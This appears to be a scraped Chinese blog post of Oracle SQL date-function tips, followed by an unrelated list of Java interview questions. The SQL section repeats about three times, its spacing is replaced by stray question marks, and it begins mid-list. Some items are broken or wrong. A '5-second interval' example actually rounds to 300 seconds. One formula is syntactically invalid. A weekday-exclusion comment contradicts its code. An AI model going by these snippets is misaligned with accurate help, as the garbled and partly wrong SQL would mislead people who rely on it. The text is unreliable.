select??to_char(sys_date,'hh:mi:ss')??from??all_objects;? ?? ? 12.? ?? ? 獲得小時數? ?? ?
SELECT??EXTRACT(HOUR??FROM??TIMESTAMP??'2001-02-16??2:38:40')??from??offer? ?? ? SQL>??select??sysdate??,to_char(sysdate,'hh')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH')? ?? ? --------------------??---------------------? ?? ? 2003-10-13??19:35:21??07? ?? ?
SQL>??select??sysdate??,to_char(sysdate,'hh24')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH24')? ?? ? --------------------??-----------------------? ?? ? 2003-10-13??19:35:21??19? ?? ?
獲取年月日與此類似? ?? ? 13.? ?? ? 年月日的處理? ?? ? select??older_date,? ?? ? newer_date,? ?? ? years,? ?? ? months,? ?? ? abs(? ?? ? trunc(? ?? ? newer_date-? ?? ? add_months(??older_date,years*12+months??)? ?? ? )? ?? ? )??days? ?? ? from??(??select? ?? ? trunc(months_between(??newer_date,??older_date??)/12)??YEARS,? ?? ? mod(trunc(months_between(??newer_date,??older_date??)),? ?? ? 12??)??MONTHS,? ?? ? newer_date,? ?? ? older_date? ?? ? from??(??select??hiredate??older_date,? ?? ? add_months(hiredate,rownum)+rownum??newer_date? ?? ? from??emp??)? ?? ? )? ?? ?
14.? ?? ? 處理月份天數不定的辦法? ?? ? select??to_char(add_months(last_day(sysdate)??+1,??-2),??'yyyymmdd'),last_day(sysdate)??from??dual? ?? ?
16.? ?? ? 找出今年的天數? ?? ? select??add_months(trunc(sysdate,'year'),??12)??-??trunc(sysdate,'year')??from??dual? ?? ?
閏年的處理方法? ?? ? to_char(??last_day(??to_date('02'? ? |??|??:year,'mmyyyy')??),??'dd'??)? ?? ? 如果是28就不是閏年? ?? ?
17.? ?? ? yyyy與rrrr的區別? ?? ? 'YYYY99??TO_C? ?? ? -------??----? ?? ? yyyy??99??0099? ?? ? rrrr??99??1999? ?? ? yyyy??01??0001? ?? ? rrrr??01??2001? ?? ?
18.不同時區的處理? ?? ? select??to_char(??NEW_TIME(??sysdate,??'GMT','EST'),??'dd/mm/yyyy??hh:mi:ss')??,sysdate? ?? ? from??dual;? ?? ?
19.? ?? ? 5秒鐘一個間隔? ?? ? Select??TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300)??*??300,'SSSSS')??,TO_CHAR(sysdate,'SSSSS')? ?? ? from??dual? ?? ?
2002-11-1??9:55:00??35786? ?? ? SSSSS表示5位秒數? ?? ?
20.? ?? ? 一年的第幾天? ?? ? select??TO_CHAR(SYSDATE,'DDD'),sysdate??from??dual? ?? ? 310??2002-11-6??10:03:51? ?? ?
21.計算小時,分,秒,毫秒? ?? ? select? ?? ? Days,? ?? ? A,? ?? ? TRUNC(A*24)??Hours,? ?? ? TRUNC(A*24*60??-??60*TRUNC(A*24))??Minutes,? ?? ? TRUNC(A*24*60*60??-??60*TRUNC(A*24*60))??Seconds,? ?? ? TRUNC(A*24*60*60*100??-??100*TRUNC(A*24*60*60))??mSeconds? ?? ? from? ?? ? (? ?? ? select? ?? ? trunc(sysdate)??Days,? ?? ? sysdate??-??trunc(sysdate)??A? ?? ? from??dual? ?? ? )? ?? ?
select??*??from??tabname? ?? ? order??by??decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');? ?? ?
//? ?? ? floor((date2-date1)??/365)??作為年? ?? ? floor((date2-date1,??365)??/30)??作為月? ?? ? mod(mod(date2-date1,??365),??30)作為日.? ?? ? 23.next_day函數? ?? ? next_day(sysdate,6)是從當前開始下一個星期五。后面的數字是從星期日開始算起。? ?? ? 1??2??3??4??5??6??7? ?? ? 日??一??二??三??四??五??六? ?
---------------------------------------------------------------??
select? ? (sysdate-to_date('2003-12-03??12:55:45','yyyy-mm-dd??hh24:mi:ss'))*24*60*60??from??dual?? 日期??返回的是天??然后??轉換為ss
轉此:http://www.onlinedatabase.cn/leadbbs/Announce/Announce.asp?BoardID=42&ID=1769
將數字轉換為任意時間格式.如秒:需要轉換為天/小時 SELECT to_char(floor(TRUNC(936000/(60*60))/24))||'天'||to_char(mod(TRUNC(936000/(60*60)),24))||'小時'??FROM DUAL
TO_DATE格式? ?? ? Day:? ?? ? dd??number??12? ?? ? dy??abbreviated??fri? ?? ? day??spelled??out??friday? ?? ? ddspth??spelled??out,??ordinal??twelfth? ?? ? Month:? ?? ? mm??number??03? ?? ? mon??abbreviated??mar? ?? ? month??spelled??out??march? ?? ? Year:? ?? ? yy??two??digits??98? ?? ? yyyy??four??digits??1998? ?? ?
24小時格式下時間范圍為:??0:00:00??-??23:59:59....? ?? ? 12小時格式下時間范圍為:??1:00:00??-??12:59:59??....? ?? ? 1.? ?? ? 日期和字符轉換函數用法(to_date,to_char)? ?? ?
2.? ?? ? select??to_char(??to_date(222,'J'),'Jsp')??from??dual? ?? ?
顯示Two??Hundred??Twenty-Two? ?? ?
3.? ?? ? 求某天是星期幾? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day')??from??dual;? ?? ? 星期一? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? monday? ?? ? 設置日期語言? ?? ? ALTER??SESSION??SET??NLS_DATE_LANGUAGE='AMERICAN';? ?? ? 也可以這樣? ?? ? TO_DATE??('2002-08-26',??'YYYY-mm-dd',??'NLS_DATE_LANGUAGE??=??American')? ?? ?
4.? ?? ? 兩個日期間的天數? ?? ? select??floor(sysdate??-??to_date('20020405','yyyymmdd'))??from??dual;? ?? ?
5.??時間為null的用法? ?? ? select??id,??active_date??from??table1? ?? ? UNION? ?? ? select??1,??TO_DATE(null)??from??dual;? ?? ?
注意要用TO_DATE(null)? ?? ?
6.? ?? ? a_date??between??to_date('20011201','yyyymmdd')??and??to_date('20011231','yyyymmdd')? ?? ? 那么12月31號中午12點之后和12月1號的12點之前是不包含在這個范圍之內的。? ?? ? 所以,當時間需要精確的時候,覺得to_char還是必要的? ?? ? 7.??日期格式沖突問題? ?? ? 輸入的格式要看你安裝的ORACLE字符集的類型,??比如:??US7ASCII,??date格式的類型就是:??'01-Jan-01'? ?? ? alter??system??set??NLS_DATE_LANGUAGE??=??American? ?? ? alter??session??set??NLS_DATE_LANGUAGE??=??American? ?? ? 或者在to_date中寫? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? 注意我這只是舉了NLS_DATE_LANGUAGE,當然還有很多,? ?? ? 可查看? ?? ? select??*??from??nls_session_parameters? ?? ? select??*??from??V$NLS_PARAMETERS? ?? ?
8.? ?? ? select??count(*)? ?? ? from??(??select??rownum-1??rnum? ?? ? from??all_objects? ?? ? where??rownum??<=??to_date('2002-02-28','yyyy-mm-dd')??-??to_date('2002-? ?? ? 02-01','yyyy-mm-dd')+1? ?? ? )? ?? ? where??to_char(??to_date('2002-02-01','yyyy-mm-dd')+rnum-1,??'D'??)? ?? ? not? ?? ? in??(??'1',??'7'??)? ?? ?
查找2002-02-28至2002-02-01間除星期一和七的天數? ?? ? 在前后分別調用DBMS_UTILITY.GET_TIME,??讓后將結果相減(得到的是1/100秒,??而不是毫秒).? ?? ?
9.? ?? ? select??months_between(to_date('01-31-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ? 1? ?? ?
select??months_between(to_date('02-01-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ?
1.03225806451613? ?? ? 10.??Next_day的用法? ?? ? Next_day(date,??day)? ?? ?
Monday-Sunday,??for??format??code??DAY? ?? ? Mon-Sun,??for??format??code??DY? ?? ? 1-7,??for??format??code??D? ?? ?
11? ?? ? select??to_char(sysdate,'hh:mi:ss')??TIME??from??all_objects? ?? ? 注意:第一條記錄的TIME??與最后一行是一樣的? ?? ? 可以建立一個函數來處理這個問題? ?? ? create??or??replace??function??sys_date??return??date??is? ?? ? begin? ?? ? return??sysdate;? ?? ? end;? ?? ?
select??to_char(sys_date,'hh:mi:ss')??from??all_objects;? ?? ? 12.? ?? ? 獲得小時數? ?? ?
SELECT??EXTRACT(HOUR??FROM??TIMESTAMP??'2001-02-16??2:38:40')??from??offer? ?? ? SQL>??select??sysdate??,to_char(sysdate,'hh')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH')? ?? ? --------------------??---------------------? ?? ? 2003-10-13??19:35:21??07? ?? ?
SQL>??select??sysdate??,to_char(sysdate,'hh24')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH24')? ?? ? --------------------??-----------------------? ?? ? 2003-10-13??19:35:21??19? ?? ?
獲取年月日與此類似? ?? ? 13.? ?? ? 年月日的處理? ?? ? select??older_date,? ?? ? newer_date,? ?? ? years,? ?? ? months,? ?? ? abs(? ?? ? trunc(? ?? ? newer_date-? ?? ? add_months(??older_date,years*12+months??)? ?? ? )? ?? ? )??days? ?? ? from??(??select? ?? ? trunc(months_between(??newer_date,??older_date??)/12)??YEARS,? ?? ? mod(trunc(months_between(??newer_date,??older_date??)),? ?? ? 12??)??MONTHS,? ?? ? newer_date,? ?? ? older_date? ?? ? from??(??select??hiredate??older_date,? ?? ? add_months(hiredate,rownum)+rownum??newer_date? ?? ? from??emp??)? ?? ? )? ?? ?
14.? ?? ? 處理月份天數不定的辦法? ?? ? select??to_char(add_months(last_day(sysdate)??+1,??-2),??'yyyymmdd'),last_day(sysdate)??from??dual? ?? ?
16.? ?? ? 找出今年的天數? ?? ? select??add_months(trunc(sysdate,'year'),??12)??-??trunc(sysdate,'year')??from??dual? ?? ?
閏年的處理方法? ?? ? to_char(??last_day(??to_date('02'? ? |??|??:year,'mmyyyy')??),??'dd'??)? ?? ? 如果是28就不是閏年? ?? ?
17.? ?? ? yyyy與rrrr的區別? ?? ? 'YYYY99??TO_C? ?? ? -------??----? ?? ? yyyy??99??0099? ?? ? rrrr??99??1999? ?? ? yyyy??01??0001? ?? ? rrrr??01??2001? ?? ?
18.不同時區的處理? ?? ? select??to_char(??NEW_TIME(??sysdate,??'GMT','EST'),??'dd/mm/yyyy??hh:mi:ss')??,sysdate? ?? ? from??dual;? ?? ?
19.? ?? ? 5秒鐘一個間隔? ?? ? Select??TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300)??*??300,'SSSSS')??,TO_CHAR(sysdate,'SSSSS')? ?? ? from??dual? ?? ?
2002-11-1??9:55:00??35786? ?? ? SSSSS表示5位秒數? ?? ?
20.? ?? ? 一年的第幾天? ?? ? select??TO_CHAR(SYSDATE,'DDD'),sysdate??from??dual? ?? ? 310??2002-11-6??10:03:51? ?? ?
21.計算小時,分,秒,毫秒? ?? ? select? ?? ? Days,? ?? ? A,? ?? ? TRUNC(A*24)??Hours,? ?? ? TRUNC(A*24*60??-??60*TRUNC(A*24))??Minutes,? ?? ? TRUNC(A*24*60*60??-??60*TRUNC(A*24*60))??Seconds,? ?? ? TRUNC(A*24*60*60*100??-??100*TRUNC(A*24*60*60))??mSeconds? ?? ? from? ?? ? (? ?? ? select? ?? ? trunc(sysdate)??Days,? ?? ? sysdate??-??trunc(sysdate)??A? ?? ? from??dual? ?? ? )? ?? ?
select??*??from??tabname? ?? ? order??by??decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');? ?? ?
//? ?? ? floor((date2-date1)??/365)??作為年? ?? ? floor((date2-date1,??365)??/30)??作為月? ?? ? mod(mod(date2-date1,??365),??30)作為日.? ?? ? 23.next_day函數? ?? ? next_day(sysdate,6)是從當前開始下一個星期五。后面的數字是從星期日開始算起。? ?? ? 1??2??3??4??5??6??7? ?? ? 日??一??二??三??四??五??六? ?
---------------------------------------------------------------??
select? ? (sysdate-to_date('2003-12-03??12:55:45','yyyy-mm-dd??hh24:mi:ss'))*24*60*60??from??dual?? 日期??返回的是天??然后??轉換為ss
轉此:http://www.onlinedatabase.cn/leadbbs/Announce/Announce.asp?BoardID=42&ID=1769
將數字轉換為任意時間格式.如秒:需要轉換為天/小時 SELECT to_char(floor(TRUNC(936000/(60*60))/24))||'天'||to_char(mod(TRUNC(936000/(60*60)),24))||'小時'??FROM DUAL
TO_DATE格式? ?? ? Day:? ?? ? dd??number??12? ?? ? dy??abbreviated??fri? ?? ? day??spelled??out??friday? ?? ? ddspth??spelled??out,??ordinal??twelfth? ?? ? Month:? ?? ? mm??number??03? ?? ? mon??abbreviated??mar? ?? ? month??spelled??out??march? ?? ? Year:? ?? ? yy??two??digits??98? ?? ? yyyy??four??digits??1998? ?? ?
24小時格式下時間范圍為:??0:00:00??-??23:59:59....? ?? ? 12小時格式下時間范圍為:??1:00:00??-??12:59:59??....? ?? ? 1.? ?? ? 日期和字符轉換函數用法(to_date,to_char)? ?? ?
2.? ?? ? select??to_char(??to_date(222,'J'),'Jsp')??from??dual? ?? ?
顯示Two??Hundred??Twenty-Two? ?? ?
3.? ?? ? 求某天是星期幾? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day')??from??dual;? ?? ? 星期一? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? monday? ?? ? 設置日期語言? ?? ? ALTER??SESSION??SET??NLS_DATE_LANGUAGE='AMERICAN';? ?? ? 也可以這樣? ?? ? TO_DATE??('2002-08-26',??'YYYY-mm-dd',??'NLS_DATE_LANGUAGE??=??American')? ?? ?
4.? ?? ? 兩個日期間的天數? ?? ? select??floor(sysdate??-??to_date('20020405','yyyymmdd'))??from??dual;? ?? ?
5.??時間為null的用法? ?? ? select??id,??active_date??from??table1? ?? ? UNION? ?? ? select??1,??TO_DATE(null)??from??dual;? ?? ?
注意要用TO_DATE(null)? ?? ?
6.? ?? ? a_date??between??to_date('20011201','yyyymmdd')??and??to_date('20011231','yyyymmdd')? ?? ? 那么12月31號中午12點之后和12月1號的12點之前是不包含在這個范圍之內的。? ?? ? 所以,當時間需要精確的時候,覺得to_char還是必要的? ?? ? 7.??日期格式沖突問題? ?? ? 輸入的格式要看你安裝的ORACLE字符集的類型,??比如:??US7ASCII,??date格式的類型就是:??'01-Jan-01'? ?? ? alter??system??set??NLS_DATE_LANGUAGE??=??American? ?? ? alter??session??set??NLS_DATE_LANGUAGE??=??American? ?? ? 或者在to_date中寫? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? 注意我這只是舉了NLS_DATE_LANGUAGE,當然還有很多,? ?? ? 可查看? ?? ? select??*??from??nls_session_parameters? ?? ? select??*??from??V$NLS_PARAMETERS? ?? ?
8.? ?? ? select??count(*)? ?? ? from??(??select??rownum-1??rnum? ?? ? from??all_objects? ?? ? where??rownum??<=??to_date('2002-02-28','yyyy-mm-dd')??-??to_date('2002-? ?? ? 02-01','yyyy-mm-dd')+1? ?? ? )? ?? ? where??to_char(??to_date('2002-02-01','yyyy-mm-dd')+rnum-1,??'D'??)? ?? ? not? ?? ? in??(??'1',??'7'??)? ?? ?
查找2002-02-28至2002-02-01間除星期一和七的天數? ?? ? 在前后分別調用DBMS_UTILITY.GET_TIME,??讓后將結果相減(得到的是1/100秒,??而不是毫秒).? ?? ?
9.? ?? ? select??months_between(to_date('01-31-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ? 1? ?? ?
select??months_between(to_date('02-01-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ?
1.03225806451613? ?? ? 10.??Next_day的用法? ?? ? Next_day(date,??day)? ?? ?
Monday-Sunday,??for??format??code??DAY? ?? ? Mon-Sun,??for??format??code??DY? ?? ? 1-7,??for??format??code??D? ?? ?
11? ?? ? select??to_char(sysdate,'hh:mi:ss')??TIME??from??all_objects? ?? ? 注意:第一條記錄的TIME??與最后一行是一樣的? ?? ? 可以建立一個函數來處理這個問題? ?? ? create??or??replace??function??sys_date??return??date??is? ?? ? begin? ?? ? return??sysdate;? ?? ? end;? ?? ?
select??to_char(sys_date,'hh:mi:ss')??from??all_objects;? ?? ? 12.? ?? ? 獲得小時數? ?? ?
SELECT??EXTRACT(HOUR??FROM??TIMESTAMP??'2001-02-16??2:38:40')??from??offer? ?? ? SQL>??select??sysdate??,to_char(sysdate,'hh')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH')? ?? ? --------------------??---------------------? ?? ? 2003-10-13??19:35:21??07? ?? ?
SQL>??select??sysdate??,to_char(sysdate,'hh24')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH24')? ?? ? --------------------??-----------------------? ?? ? 2003-10-13??19:35:21??19? ?? ?
獲取年月日與此類似? ?? ? 13.? ?? ? 年月日的處理? ?? ? select??older_date,? ?? ? newer_date,? ?? ? years,? ?? ? months,? ?? ? abs(? ?? ? trunc(? ?? ? newer_date-? ?? ? add_months(??older_date,years*12+months??)? ?? ? )? ?? ? )??days? ?? ? from??(??select? ?? ? trunc(months_between(??newer_date,??older_date??)/12)??YEARS,? ?? ? mod(trunc(months_between(??newer_date,??older_date??)),? ?? ? 12??)??MONTHS,? ?? ? newer_date,? ?? ? older_date? ?? ? from??(??select??hiredate??older_date,? ?? ? add_months(hiredate,rownum)+rownum??newer_date? ?? ? from??emp??)? ?? ? )? ?? ?
14.? ?? ? 處理月份天數不定的辦法? ?? ? select??to_char(add_months(last_day(sysdate)??+1,??-2),??'yyyymmdd'),last_day(sysdate)??from??dual? ?? ?
16.? ?? ? 找出今年的天數? ?? ? select??add_months(trunc(sysdate,'year'),??12)??-??trunc(sysdate,'year')??from??dual? ?? ?
閏年的處理方法? ?? ? to_char(??last_day(??to_date('02'? ? |??|??:year,'mmyyyy')??),??'dd'??)? ?? ? 如果是28就不是閏年? ?? ?
17.? ?? ? yyyy與rrrr的區別? ?? ? 'YYYY99??TO_C? ?? ? -------??----? ?? ? yyyy??99??0099? ?? ? rrrr??99??1999? ?? ? yyyy??01??0001? ?? ? rrrr??01??2001? ?? ?
18.不同時區的處理? ?? ? select??to_char(??NEW_TIME(??sysdate,??'GMT','EST'),??'dd/mm/yyyy??hh:mi:ss')??,sysdate? ?? ? from??dual;? ?? ?
19.? ?? ? 5秒鐘一個間隔? ?? ? Select??TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300)??*??300,'SSSSS')??,TO_CHAR(sysdate,'SSSSS')? ?? ? from??dual? ?? ?
2002-11-1??9:55:00??35786? ?? ? SSSSS表示5位秒數? ?? ?
20.? ?? ? 一年的第幾天? ?? ? select??TO_CHAR(SYSDATE,'DDD'),sysdate??from??dual? ?? ? 310??2002-11-6??10:03:51? ?? ?
21.計算小時,分,秒,毫秒? ?? ? select? ?? ? Days,? ?? ? A,? ?? ? TRUNC(A*24)??Hours,? ?? ? TRUNC(A*24*60??-??60*TRUNC(A*24))??Minutes,? ?? ? TRUNC(A*24*60*60??-??60*TRUNC(A*24*60))??Seconds,? ?? ? TRUNC(A*24*60*60*100??-??100*TRUNC(A*24*60*60))??mSeconds? ?? ? from? ?? ? (? ?? ? select? ?? ? trunc(sysdate)??Days,? ?? ? sysdate??-??trunc(sysdate)??A? ?? ? from??dual? ?? ? )? ?? ?
select??*??from??tabname? ?? ? order??by??decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');? ?? ?
//? ?? ? floor((date2-date1)??/365)??作為年? ?? ? floor((date2-date1,??365)??/30)??作為月? ?? ? mod(mod(date2-date1,??365),??30)作為日.? ?? ? 23.next_day函數? ?? ? next_day(sysdate,6)是從當前開始下一個星期五。后面的數字是從星期日開始算起。? ?? ? 1??2??3??4??5??6??7? ?? ? 日??一??二??三??四??五??六? ?
---------------------------------------------------------------??
select? ? (sysdate-to_date('2003-12-03??12:55:45','yyyy-mm-dd??hh24:mi:ss'))*24*60*60??from??dual?? 日期??返回的是天??然后??轉換為ss
轉此:http://www.onlinedatabase.cn/leadbbs/Announce/Announce.asp?BoardID=42&ID=1769
將數字轉換為任意時間格式.如秒:需要轉換為天/小時 SELECT to_char(floor(TRUNC(936000/(60*60))/24))||'天'||to_char(mod(TRUNC(936000/(60*60)),24))||'小時'??FROM DUAL
TO_DATE格式? ?? ? Day:? ?? ? dd??number??12? ?? ? dy??abbreviated??fri? ?? ? day??spelled??out??friday? ?? ? ddspth??spelled??out,??ordinal??twelfth? ?? ? Month:? ?? ? mm??number??03? ?? ? mon??abbreviated??mar? ?? ? month??spelled??out??march? ?? ? Year:? ?? ? yy??two??digits??98? ?? ? yyyy??four??digits??1998? ?? ?
24小時格式下時間范圍為:??0:00:00??-??23:59:59....? ?? ? 12小時格式下時間范圍為:??1:00:00??-??12:59:59??....? ?? ? 1.? ?? ? 日期和字符轉換函數用法(to_date,to_char)? ?? ?
2.? ?? ? select??to_char(??to_date(222,'J'),'Jsp')??from??dual? ?? ?
顯示Two??Hundred??Twenty-Two? ?? ?
3.? ?? ? 求某天是星期幾? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day')??from??dual;? ?? ? 星期一? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? monday? ?? ? 設置日期語言? ?? ? ALTER??SESSION??SET??NLS_DATE_LANGUAGE='AMERICAN';? ?? ? 也可以這樣? ?? ? TO_DATE??('2002-08-26',??'YYYY-mm-dd',??'NLS_DATE_LANGUAGE??=??American')? ?? ?
4.? ?? ? 兩個日期間的天數? ?? ? select??floor(sysdate??-??to_date('20020405','yyyymmdd'))??from??dual;? ?? ?
5.??時間為null的用法? ?? ? select??id,??active_date??from??table1? ?? ? UNION? ?? ? select??1,??TO_DATE(null)??from??dual;? ?? ?
注意要用TO_DATE(null)? ?? ?
6.? ?? ? a_date??between??to_date('20011201','yyyymmdd')??and??to_date('20011231','yyyymmdd')? ?? ? 那么12月31號中午12點之后和12月1號的12點之前是不包含在這個范圍之內的。? ?? ? 所以,當時間需要精確的時候,覺得to_char還是必要的? ?? ? 7.??日期格式沖突問題? ?? ? 輸入的格式要看你安裝的ORACLE字符集的類型,??比如:??US7ASCII,??date格式的類型就是:??'01-Jan-01'? ?? ? alter??system??set??NLS_DATE_LANGUAGE??=??American? ?? ? alter??session??set??NLS_DATE_LANGUAGE??=??American? ?? ? 或者在to_date中寫? ?? ? select??to_char(to_date('2002-08-26','yyyy-mm-dd'),'day','NLS_DATE_LANGUAGE??=??American')??from??dual;? ?? ? 注意我這只是舉了NLS_DATE_LANGUAGE,當然還有很多,? ?? ? 可查看? ?? ? select??*??from??nls_session_parameters? ?? ? select??*??from??V$NLS_PARAMETERS? ?? ?
8.? ?? ? select??count(*)? ?? ? from??(??select??rownum-1??rnum? ?? ? from??all_objects? ?? ? where??rownum??<=??to_date('2002-02-28','yyyy-mm-dd')??-??to_date('2002-? ?? ? 02-01','yyyy-mm-dd')+1? ?? ? )? ?? ? where??to_char(??to_date('2002-02-01','yyyy-mm-dd')+rnum-1,??'D'??)? ?? ? not? ?? ? in??(??'1',??'7'??)? ?? ?
查找2002-02-28至2002-02-01間除星期一和七的天數? ?? ? 在前后分別調用DBMS_UTILITY.GET_TIME,??讓后將結果相減(得到的是1/100秒,??而不是毫秒).? ?? ?
9.? ?? ? select??months_between(to_date('01-31-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ? 1? ?? ?
select??months_between(to_date('02-01-1999','MM-DD-YYYY'),? ?? ? to_date('12-31-1998','MM-DD-YYYY'))??"MONTHS"??FROM??DUAL;? ?? ?
1.03225806451613? ?? ? 10.??Next_day的用法? ?? ? Next_day(date,??day)? ?? ?
Monday-Sunday,??for??format??code??DAY? ?? ? Mon-Sun,??for??format??code??DY? ?? ? 1-7,??for??format??code??D? ?? ?
11? ?? ? select??to_char(sysdate,'hh:mi:ss')??TIME??from??all_objects? ?? ? 注意:第一條記錄的TIME??與最后一行是一樣的? ?? ? 可以建立一個函數來處理這個問題? ?? ? create??or??replace??function??sys_date??return??date??is? ?? ? begin? ?? ? return??sysdate;? ?? ? end;? ?? ?
select??to_char(sys_date,'hh:mi:ss')??from??all_objects;? ?? ? 12.? ?? ? 獲得小時數? ?? ?
SELECT??EXTRACT(HOUR??FROM??TIMESTAMP??'2001-02-16??2:38:40')??from??offer? ?? ? SQL>??select??sysdate??,to_char(sysdate,'hh')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH')? ?? ? --------------------??---------------------? ?? ? 2003-10-13??19:35:21??07? ?? ?
SQL>??select??sysdate??,to_char(sysdate,'hh24')??from??dual;? ?? ?
SYSDATE??TO_CHAR(SYSDATE,'HH24')? ?? ? --------------------??-----------------------? ?? ? 2003-10-13??19:35:21??19? ?? ?
獲取年月日與此類似? ?? ? 13.? ?? ? 年月日的處理? ?? ? select??older_date,? ?? ? newer_date,? ?? ? years,? ?? ? months,? ?? ? abs(? ?? ? trunc(? ?? ? newer_date-? ?? ? add_months(??older_date,years*12+months??)? ?? ? )? ?? ? )??days? ?? ? from??(??select? ?? ? trunc(months_between(??newer_date,??older_date??)/12)??YEARS,? ?? ? mod(trunc(months_between(??newer_date,??older_date??)),? ?? ? 12??)??MONTHS,? ?? ? newer_date,? ?? ? older_date? ?? ? from??(??select??hiredate??older_date,? ?? ? add_months(hiredate,rownum)+rownum??newer_date? ?? ? from??emp??)? ?? ? )? ?? ?
14.? ?? ? 處理月份天數不定的辦法? ?? ? select??to_char(add_months(last_day(sysdate)??+1,??-2),??'yyyymmdd'),last_day(sysdate)??from??dual? ?? ?
16.? ?? ? 找出今年的天數? ?? ? select??add_months(trunc(sysdate,'year'),??12)??-??trunc(sysdate,'year')??from??dual? ?? ?
閏年的處理方法? ?? ? to_char(??last_day(??to_date('02'? ? |??|??:year,'mmyyyy')??),??'dd'??)? ?? ? 如果是28就不是閏年? ?? ?
17.? ?? ? yyyy與rrrr的區別? ?? ? 'YYYY99??TO_C? ?? ? -------??----? ?? ? yyyy??99??0099? ?? ? rrrr??99??1999? ?? ? yyyy??01??0001? ?? ? rrrr??01??2001? ?? ?
18.不同時區的處理? ?? ? select??to_char(??NEW_TIME(??sysdate,??'GMT','EST'),??'dd/mm/yyyy??hh:mi:ss')??,sysdate? ?? ? from??dual;? ?? ?
19.? ?? ? 5秒鐘一個間隔? ?? ? Select??TO_DATE(FLOOR(TO_CHAR(sysdate,'SSSSS')/300)??*??300,'SSSSS')??,TO_CHAR(sysdate,'SSSSS')? ?? ? from??dual? ?? ?
2002-11-1??9:55:00??35786? ?? ? SSSSS表示5位秒數? ?? ?
20.? ?? ? 一年的第幾天? ?? ? select??TO_CHAR(SYSDATE,'DDD'),sysdate??from??dual? ?? ? 310??2002-11-6??10:03:51? ?? ?
21.計算小時,分,秒,毫秒? ?? ? select? ?? ? Days,? ?? ? A,? ?? ? TRUNC(A*24)??Hours,? ?? ? TRUNC(A*24*60??-??60*TRUNC(A*24))??Minutes,? ?? ? TRUNC(A*24*60*60??-??60*TRUNC(A*24*60))??Seconds,? ?? ? TRUNC(A*24*60*60*100??-??100*TRUNC(A*24*60*60))??mSeconds? ?? ? from? ?? ? (? ?? ? select? ?? ? trunc(sysdate)??Days,? ?? ? sysdate??-??trunc(sysdate)??A? ?? ? from??dual? ?? ? )? ?? ?
select??*??from??tabname? ?? ? order??by??decode(mode,'FIFO',1,-1)*to_char(rq,'yyyymmddhh24miss');? ?? ?
//? ?? ? floor((date2-date1)??/365)??作為年? ?? ? floor((date2-date1,??365)??/30)??作為月? ?? ? mod(mod(date2-date1,??365),??30)作為日.? ?? ? 23.next_day函數? ?? ? next_day(sysdate,6)是從當前開始下一個星期五。后面的數字是從星期日開始算起。? ?? ? 1??2??3??4??5??6??7? ?? ? 日??一??二??三??四??五??六? ?
---------------------------------------------------------------??
select? ? (sysdate-to_date('2003-12-03??12:55:45','yyyy-mm-dd??hh24:mi:ss'))*24*60*60??from??dual?? 日期??返回的是天??然后??轉換為ss
轉此:http://www.onlinedatabase.cn/leadbbs/Announce/Announce.asp?BoardID=42&ID=1769
|
posted @
2006-10-19 08:46 一縷青煙 閱讀(224) |
評論 (0) |
編輯 收藏
JAVA程序員面試32問
第一,談談final, finally, finalize的區別。
第二,Anonymous Inner Class (匿名內部類) 是否可以extends(繼承)其它類,是否可以implements(實現)interface(接口)?
第三,Static Nested Class 和 Inner Class的不同,說得越多越好(面試題有的很籠統)。
第四,&和&&的區別。
第五,HashMap和Hashtable的區別。
第六,Collection 和 Collections的區別。
第七,什么時候用assert。
第八,GC是什么? 為什么要有GC?
第九,String s = new String("xyz");創建了幾個String Object?
第十,Math.round(11.5)等於多少? Math.round(-11.5)等於多少?
第十一,short s1 = 1; s1 = s1 + 1;有什么錯? short s1 = 1; s1 += 1;有什么錯?
第十二,sleep() 和 wait() 有什么區別?
第十三,Java有沒有goto?
第十四,數組有沒有length()這個方法? String有沒有length()這個方法?
第十五,Overload和Override的區別。Overloaded的方法是否可以改變返回值的類型?
第十六,Set里的元素是不能重復的,那么用什么方法來區分重復與否呢? 是用==還是equals()? 它們有何區別?
第十七,給我一個你最常見到的runtime exception。
第十八,error和exception有什么區別?
第十九,List, Set, Map是否繼承自Collection接口?
第二十,abstract class和interface有什么區別?
第二十一,abstract的method是否可同時是static,是否可同時是native,是否可同時是synchronized?
